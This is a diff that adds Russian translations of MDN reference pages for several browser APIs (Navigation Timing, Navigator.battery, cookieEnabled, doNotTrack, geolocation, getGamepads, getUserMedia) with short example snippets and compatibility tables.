+ <dd>Заменяет или добавляет {{domxref ("Attr")}}, обозначенный в объекте NamedNodeMap  заданным именем.</dd>
+ <dt>{{domxref("NamedNodeMap.removeNamedItem()")}}</dt>
+ <dd>Удаляет {{domxref ("Attr")}}, идентифицированный объектом NamedNodeMap .</dd>
+ <dt>{{domxref("NamedNodeMap.item()")}}</dt>
+ <dd>Возвращает значение {{domxref ("Attr")}} по заданному индексу или null, если индекс больше или равен числу узлов.</dd>
+ <dt>{{domxref("NamedNodeMap.getNamedItemNS()")}}</dt>
+ <dd>Возвращает {{domxref ("Attr")}}, идентифицированный пространством имен и связанным локальным именем.</dd>
+ <dt>{{domxref("NamedNodeMap.setNamedItemNS()")}}</dt>
+ <dd>Заменяет или добавляет {{domxref ("Attr")}}, идентифицированный в объекте NamedNodeMap данным пространством имен и связанным локальным именем.</dd>
+ <dt>{{domxref("NamedNodeMap.removeNamedItemNS()")}}</dt>
+ <dd>Удаляет {{domxref ("Attr")}}, идентифицированный данным пространством имен и связанным локальным именем.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-namednodemap', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Имеет дело с {{domxref("Attr")}} вместо {{domxref("Node")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Added <code>getNamedItemNS()</code>, <code>setNamedItemNS()</code> and <code>removeNamedItemNS()</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("api.NamedNodeMap")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element.attributes")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigation_timing_api/index.html b/files/ru/web/api/navigation_timing_api/index.html
new file mode 100644
index 0000000000..81e84e72e6
--- /dev/null
+++ b/files/ru/web/api/navigation_timing_api/index.html
@@ -0,0 +1,157 @@
+---
+title: Navigation Timing API
+slug: Web/API/Navigation_timing_API
+tags:
+  - API
+  - Client side performance
+  - Navigation Timing
+  - Performance
+  - Производительность
+translation_of: Web/API/Navigation_timing_API
+---
+<p>{{DefaultAPISidebar("Navigation Timing")}}</p>
+
+<p><strong>Navigation Timing API </strong>предоставляет данные, которые могут быть использованы для измерения производительности веб-сайта. В отличие от других механизмов на основе JavaScript, которые были использованы с той же целью, этот API может предоставить полную и точную информацию о задержке в получении данных. </p>
+
+<p>Следующий пример демонстрирует как можно измерить время загрузки страницы с точки зрения пользователя:</p>
+
+<pre>function onLoad() {
+  var now = new Date().getTime();
+  var page_load_time = now - performance.timing.navigationStart;
+  console.log("User-perceived page loading time: " + page_load_time);
+}
+</pre>
+
+<p>Есть много событий, измеренных в миллисекундах, которые могут быть доступны через {{domxref("PerformanceTiming")}} интерфейс. Список событий в хронологическом порядке:</p>
+
+<ul>
+ <li>navigationStart</li>
+ <li>unloadEventStart</li>
+ <li>unloadEventEnd</li>
+ <li>redirectStart</li>
+ <li>redirectEnd</li>
+ <li>fetchStart</li>
+ <li>domainLookupStart</li>
+ <li>domainLookupEnd</li>
+ <li>connectStart</li>
+ <li>connectEnd</li>
+ <li>secureConnectionStart</li>
+ <li>requestStart</li>
+ <li>responseStart</li>
+ <li>responseEnd</li>
+ <li>domLoading</li>
+ <li>domInteractive</li>
+ <li>domContentLoadedEventStart</li>
+ <li>domContentLoadedEventEnd</li>
+ <li>domComplete</li>
+ <li>loadEventStart</li>
+ <li>loadEventEnd</li>
+</ul>
+
+<p>Объект <code>window.performance.navigation</code> хранит два атрибута, которые могут быть использованы, для определения была ли страница загружена в последствии перенаправления, использования навигации по страницам в браузере или обычной загрузки по ссылке.</p>
+
+<p>window.performance.navigation.type:</p>
+
+<table class="standard-table" style="font-size: 14px;">
+ <thead>
+  <tr>
+   <th scope="col">Флаг</th>
+   <th scope="col">Значение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a name="const_next"><code>TYPE_NAVIGATE</code></a></td>
+   <td>0</td>
+   <td>Навигация началась после нажатия на ссылку, ввода URL в адресную строку браузера, подтверждения формы или после выполнения действия, отличного от действий описанных в флагах TYPE_RELOAD и TYPE_BACK_FORWARD.</td>
+  </tr>
+  <tr>
+   <td><a name="const_next_no_duplicate"><code>TYPE_RELOAD</code></a></td>
+   <td>1</td>
+   <td>Навигация путем перегрузки страницы или выполнения метода location.reload().</td>
+  </tr>
+  <tr>
+   <td><a name="const_prev"><code>TYPE_BACK_FORWARD</code></a></td>
+   <td>2</td>
+   <td>Навигация по истории переходов по страницам в браузере.</td>
+  </tr>
+  <tr>
+   <td><a name="const_prev_no_duplicate"><code>TYPE_UNDEFINED</code></a></td>
+   <td>255</td>
+   <td>Любой другой тип навигации не описанный выше.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>window.performance.navigation.redirectCount</code> отображает количество переадресаций до последней страницы, если они происходили.</p>
+
+<p>Navigation Timing API может быть использован для сбора данных о производительности на стороне клиента при отправке ассинхронных запросов на сервер, а также для получения данных, которые нельзя получить с помощью других средств, таких как время выгрузки предыдущей страницы, время DNS запроса, время полной загрузки страницы.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Вычисление времени полной загрузки страницы:</p>
+
+<pre>var perfData = window.performance.timing;
+var pageLoadTime = perfData.loadEventEnd - perfData.navigationStart;
+</pre>
+
+<p>Вычисление времени выполнения запроса:</p>
+
+<pre>var connectTime = perfData.responseEnd - perfData.requestStart;</pre>
+
+<h3 id="Browser_Compatibility" name="Browser_Compatibility">Ссылки</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/navigation-timing/" title="http://www.w3.org/TR/navigation-timing/">http://www.w3.org/TR/navigation-timing/</a></li>
+</ul>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>6.0</td>
+   <td>{{ CompatGeckoDesktop("7") }}</td>
+   <td>9</td>
+   <td>15.0</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Основная поддержка</td>
+   <td>4.0</td>
+   <td>{{ CompatGeckoDesktop("15") }}</td>
+   <td>9</td>
+   <td>15.0</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/navigator/battery/index.html b/files/ru/web/api/navigator/battery/index.html
new file mode 100644
index 0000000000..07f8e7f84b
--- /dev/null
+++ b/files/ru/web/api/navigator/battery/index.html
@@ -0,0 +1,33 @@
+---
+title: Navigator.battery
+slug: Web/API/Navigator/battery
+translation_of: Web/API/Navigator/battery
+---
+<p>{{ ApiRef("Battery API") }}{{deprecated_header}}</p>
+
+<p>Свойство <code>battery</code> только для чтения  возвращающее {{DOMxRef("BatteryManager")}} которое дает информацию об уровне заряда системной батареи; предоставляет также некоторые новые события, <span id="result_box" lang="ru"><span class="hps">которые вы</span> <span class="hps">можете</span> <span class="hps">обрабатывать</span> <span class="hps">и контролируя состояние батареи</span><span>.</span></span>Оно реализует <a href="/en-US/docs/WebAPI/Battery_Status">API состояния батареи</a>;<span id="result_box" lang="ru"><span class="hps"> смотрите</span> <span class="hps">документацию</span> <span class="hps">для получения дополнительной информации</span><span>, руководство</span> <span class="hps">по использованию</span> <span class="hps">API</span> <span class="hps">и примеры кода</span><span>.</span></span></p>
+
+<div class="note">
+<p>Свойство <code>battery</code> устарело и было заменено {{DOMxRef("Navigator.getBattery()")}}. Метод возвращает {{DOMxRef("Promise")}}. Хотя оно частично поддерживается.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var battery = navigator.battery;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{Compat("api.Navigator.battery")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Состояние <a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery API</a>.</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Пост в блоге - использование Battery API.</a></li>
+ <li><a class="external" href="http://davidwalsh.name/battery-api" title="http://davidwalsh.name/battery-api">David Walsh  Battery Api в JavaScript</a>.</li>
+ <li><a href="https://github.com/pstadler/battery.js" title="https://github.com/pstadler/battery.js">battery.js - крошечная кросс-браузерная обертка.</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/cookieenabled/index.html b/files/ru/web/api/navigator/cookieenabled/index.html
new file mode 100644
index 0000000000..cdf99a435b
--- /dev/null
+++ b/files/ru/web/api/navigator/cookieenabled/index.html
@@ -0,0 +1,81 @@
+---
+title: Navigator.cookieEnabled
+slug: Web/API/Navigator/cookieEnabled
+translation_of: Web/API/Navigator/cookieEnabled
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<p>Возвращает логическое значение (Boolean), показывающее включены ли куки или нет.(свойство только для чтения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var cookieEnabled = navigator.cookieEnabled;
+</pre>
+
+<ul>
+ <li><code>cookieEnabled</code> is a Boolean <code>true</code> or <code>false</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">if (!navigator.cookieEnabled) {
+  // пусть пользователь знает, что включенные куки делают страницу более полезной.
+</pre>
+
+<h2 id="Совместимость_в_браузере">Совместимость в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>Yes</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Заметки_для_Gecko">Заметки для Gecko</h3>
+
+<p>До Gecko 8.0 {{ geckoRelease("8.0") }}, <code>window.navigator.cookieEnabled </code>сообщало неправильный результат, если положение исключения было в месте на странице на котором была выполннена проверка. Это было исправлено.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>HTML WHATWG</p>
diff --git a/files/ru/web/api/navigator/donottrack/index.html b/files/ru/web/api/navigator/donottrack/index.html
new file mode 100644
index 0000000000..54f7b8f9e9
--- /dev/null
+++ b/files/ru/web/api/navigator/donottrack/index.html
@@ -0,0 +1,89 @@
+---
+title: Navigator.doNotTrack
+slug: Web/API/Navigator/doNotTrack
+translation_of: Web/API/Navigator/doNotTrack
+---
+<p>{{ ApiRef("HTML DOM") }}{{SeeCompatTable}}</p>
+
+<p>Возвращает настройки пользователя  do-not-track. Будет "yes" если пользователь попросил не отслеживать его на веб-сайтах, контенте, рекламе.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>dnt</em> = <em>navigator</em>.doNotTrack;
+</pre>
+
+<p>Значение отражает , что в заголовке do-not-track header, т.е. значения {"1", "0", "unspecified" }.Примечание: до  Gecko 32, Gecko были использованы значения { "yes", "no", "unspecified"} (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=887703">bug 887703</a>).</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">dump(window.navigator.doNotTrack);
+// prints "1" if DNT is enabled; "0" if the user opted-in for tracking; otherwise this is "unspecified"
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/tracking-dnt/" title="http://www.w3.org/TR/tracking-dnt/">Tracking Preference Expression</a> (Working проект) основан на более ранней версии этой спецификации, где <code>navigator.doNotTrack</code> <strong>это </strong>значение<strong> </strong> посланое заголовком do-not-track.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en/The_Do_Not_Track_Field_Guide" title="https://developer.mozilla.org/en/The_Do_Not_Track_Field_Guide">The Do Not Track field guide</a></li>
+</ul>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>23</td>
+   <td>{{ CompatGeckoDesktop("9.0") }}</td>
+   <td>9</td>
+   <td>12</td>
+   <td>5.1 on OS X 10.7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("9.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>IE9 использует вендорныый префикс, т.е., navigator.msDoNotTrack</li>
+ <li>До Gecko 32, Firefox сообщал бы navigator.doNotTrack со значением "yes" и "no" вместо "1" и "0"</li>
+ <li>Safari 7.1.3 кажется, использовал window.doNotTrack вместо navigator.doNotTrack</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/navigator/geolocation/index.html b/files/ru/web/api/navigator/geolocation/index.html
new file mode 100644
index 0000000000..5bc748ee47
--- /dev/null
+++ b/files/ru/web/api/navigator/geolocation/index.html
@@ -0,0 +1,96 @@
+---
+title: Navigator.geolocation
+slug: Web/API/Navigator/geolocation
+translation_of: Web/API/Navigator/geolocation
+---
+<p>{{ APIRef("Geolocation API") }}</p>
+
+<p>Свойство <strong><code>Navigator.geolocation</code></strong> только для чтения, возвращающие объект {{domxref("Geolocation")}}, который дает веб контенту доступ к месторасположению устройства. Это позволяет веб-сайту или приложению предложить индивидуальный результат основанный на месторасположении пользователя.</p>
+
+<div class="note">
+<p><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span> </strong><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">когда</span> <span class="hps">веб-страница</span> <span class="hps">пытается</span> <span class="hps">получить доступ к информации</span> <span class="hps">о местоположении,</span> <span class="hps">пользователь получает уведомление</span> <span class="hps">с просьбой</span> <span class="hps">дать разрешение</span><span>.</span></span><span id="result_box" lang="ru"><span class="hps"> Помните, что</span> <span class="hps">каждый браузер</span> <span class="hps">имеет свои</span> <span class="hps">собственные правила</span> <span class="hps">и методы</span> <span class="hps">для запроса</span> <span class="hps">этого разрешения</span><span>.</span></span></p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>geo</em> = <em>navigator</em>.geolocation
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#navi-geo', 'Navigator.geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Изначальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Использование геолокации.</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/getdatastores/index.html b/files/ru/web/api/navigator/getdatastores/index.html
new file mode 100644
index 0000000000..5c3b1d7fab
--- /dev/null
+++ b/files/ru/web/api/navigator/getdatastores/index.html
@@ -0,0 +1,58 @@
+---
+title: Navigator.getDataStores()
+slug: Web/API/Navigator/getDataStores
+translation_of: Archive/B2G_OS/API/Navigator/getDataStores
+---
+<div>{{APIRef("Data Store API")}} {{ non-standard_header }} {{ B2GOnlyHeader2('certified') }}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <strong><code>navigator.getDataStores()</code></strong> предоставляющий доступ к списку <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API </a>хранилищ данных доступных на устройстве.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.getDataStores('contacts').then(function(stores) {
+  // сделать что-либо с массивом хранилищ данных в хранилище.
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>storeName</code></dt>
+ <dd>Имя хранилища данных которое вы хотите вернуть. Возвращается массив, потому что <span id="result_box" lang="ru"><span>может</span> <span class="hps">быть</span> <span class="hps">несколько</span> <span class="hps">хранилищ данных</span> <span class="hps">с таким же именем</span><span>.</span></span></dd>
+</dl>
+
+<h3 id="Возврат">Возврат</h3>
+
+<p>Объект {{jsxref("Promise")}} который будет связан с массивом объекта {{domxref("DataStore") }}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="punctuation token">navigator.getDataStores('contacts').then(function(stores) {
+  stores[0].getLength().then(function(storeLength) {
+    if(storeLength == 0) {
+      for(i = 0; i &lt; contactsInit.length; i++) {
+        addContact(stores[0],contactsInit[i]);
+      };
+    } else {
+      var cursor = stores[0].sync();
+      runNextTask(cursor);
+    }
+  });
+});</span></code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>{{page("/en-US/docs/Web/API/Data_Store_API","Specifications")}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{page("/en-US/docs/Web/API/Data_Store_API","Browser_compatibility")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Data_Store_API/Using_the_Data_Store_API">Using the Data Store API</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/data-store-contacts-editor">Data Store Contacts Editor example</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/data-store-contacts-viewer">Data Store Contacts Viewer example</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/getgamepads/index.html b/files/ru/web/api/navigator/getgamepads/index.html
new file mode 100644
index 0000000000..bc5200cbe1
--- /dev/null
+++ b/files/ru/web/api/navigator/getgamepads/index.html
@@ -0,0 +1,102 @@
+---
+title: Navigator.getGamepads()
+slug: Web/API/Navigator/getGamepads
+translation_of: Web/API/Navigator/getGamepads
+---
+<p>{{APIRef("Gamepad API")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>Navigator.getGamepads()</code></strong> метод, возвращающий массив {{ domxref("Gamepad") }} объектов, по одному для каждого геймпада, подключенному к устройству.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"> var arrayGP = navigator.getGamepads();</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[0];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  gp.index, gp.id,
+  gp.buttons.length, gp.axes.length);
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gamepad', '', 'The Gamepad API specification')}}</td>
+   <td>{{Spec2('Gamepad')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>General support</td>
+   <td>
+    <p>21.0 {{ property_prefix("webkit") }}<br>
+     35.0</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("29.0") }} [1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>
+    <p>15.0 {{ property_prefix("webkit") }}<br>
+     22.0</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>General support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Was available behind a preference since Firefox 24.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/getusermedia/index.html b/files/ru/web/api/navigator/getusermedia/index.html
new file mode 100644
index 0000000000..5a8072c8b0
--- /dev/null
+++ b/files/ru/web/api/navigator/getusermedia/index.html
@@ -0,0 +1,107 @@
+---
+title: Navigator.getUserMedia()
+slug: Web/API/Navigator/getUserMedia
+translation_of: Web/API/Navigator/getUserMedia
+---
+<div>{{APIRef("Media Capture and Streams")}}{{deprecated_header}}</div>
+
+<p>The deprecated <code><strong>Navigator.getUserMedia()</strong></code> method prompts the user for permission to use up to one video input device (such as a camera or shared screen) and up to one audio input device (such as a microphone) as the source for a {{domxref("MediaStream")}}.</p>
+
+<p>If permission is granted, a <code>MediaStream</code> whose video and/or audio tracks come from those devices is delivered to the specified success callback. If permission is denied, no compatible input devices exist, or any other error condition occurs, the error callback is executed with a {{domxref("MediaStreamError")}} object describing what went wrong. If the user instead doesn't make a choice at all, neither callback is executed.</p>
+
+<div class="note">
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Это устаревший метод.</span></span> <span class="ChMk0b JLqJ4b"><span>Вместо этого используйте более новую версию {{domxref ("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia ()")}}.</span></span> <span class="ChMk0b JLqJ4b"><span>Хотя технически не рекомендуется, эта старая версия обратного вызова помечена как таковая, поскольку спецификация настоятельно рекомендует использовать более новую версию, возвращающую обещание.</span></span></span></p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">navigator.getUserMedia(<var>constraints</var>, <var>successCallback</var>, <var>errorCallback</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>constraints</var></code></dt>
+ <dd>{{domxref("MediaStreamConstraints")}} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>объект, определяющий типы запрашиваемых медиа, а также любые требования для каждого типа.</span></span> <span class="ChMk0b JLqJ4b"><span>Подробнее см. В разделе ограничений современного метода {{domxref ("MediaDevices.getUserMedia ()")}}, а также в статье</span></span></span> <a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Возможности, ограничения и настройки.</a></dd>
+ <dt><code><var>successCallback</var></code></dt>
+ <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Функция, которая вызывается при утверждении запроса на доступ к мультимедиа.</span></span> <span class="ChMk0b JLqJ4b"><span>Функция вызывается с одним параметром: объектом {{domxref ("MediaStream")}}, который содержит медиапоток.</span></span> <span class="ChMk0b JLqJ4b"><span>Затем обратный вызов может назначить поток желаемому объекту (например, элементу {{HTMLElement ("audio")}} или {{HTMLElement ("video")}}), как показано в следующем примере:</span></span></span>
+ <pre class="brush: js notranslate">function(stream) {
+   var video = document.querySelector('video');
+   video.srcObject = stream;
+   video.onloadedmetadata = function(e) {
+      // Do something with the video here.
+   };
+}</pre>
+ </dd>
+ <dt><code><var>errorCallback</var></code></dt>
+ <dd>When the call fails, the function specified in the <code>errorCallback</code> is invokedwith a {{domxref("MediaStreamError")}} object as its sole argument; this object is is modeled on {{domxref("DOMException")}}. See {anch("Errors")}} below for a list of the errors which can occur.</dd>
+</dl>
+
+<h3 id="Возвращающееся_значение">Возвращающееся значение</h3>
+
+<p>{{domxref("undefined")}}.</p>
+
+<h3 id="Ошибки">Ошибки</h3>
+
+<p>{{page("/en-US/docs/Web/API/MediaDevices/getUserMedia", "Errors")}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Width_and_height_Ширина_и_высота">Width and height (Ширина и высота)</h3>
+
+<p>Это пример использования <code>getUserMedia()</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>, включая код для работы с префиксами различных браузеров.</span></span> <span class="ChMk0b JLqJ4b"><span>Обратите внимание, что это устаревший способ сделать это: современные примеры см. В разделе «Примеры» в разделе {{domxref ("MediaDevices.getUserMedia ()")}}.</span></span></span></p>
+
+<pre class="brush: js notranslate">navigator.getUserMedia = navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia;
+
+if (navigator.getUserMedia) {
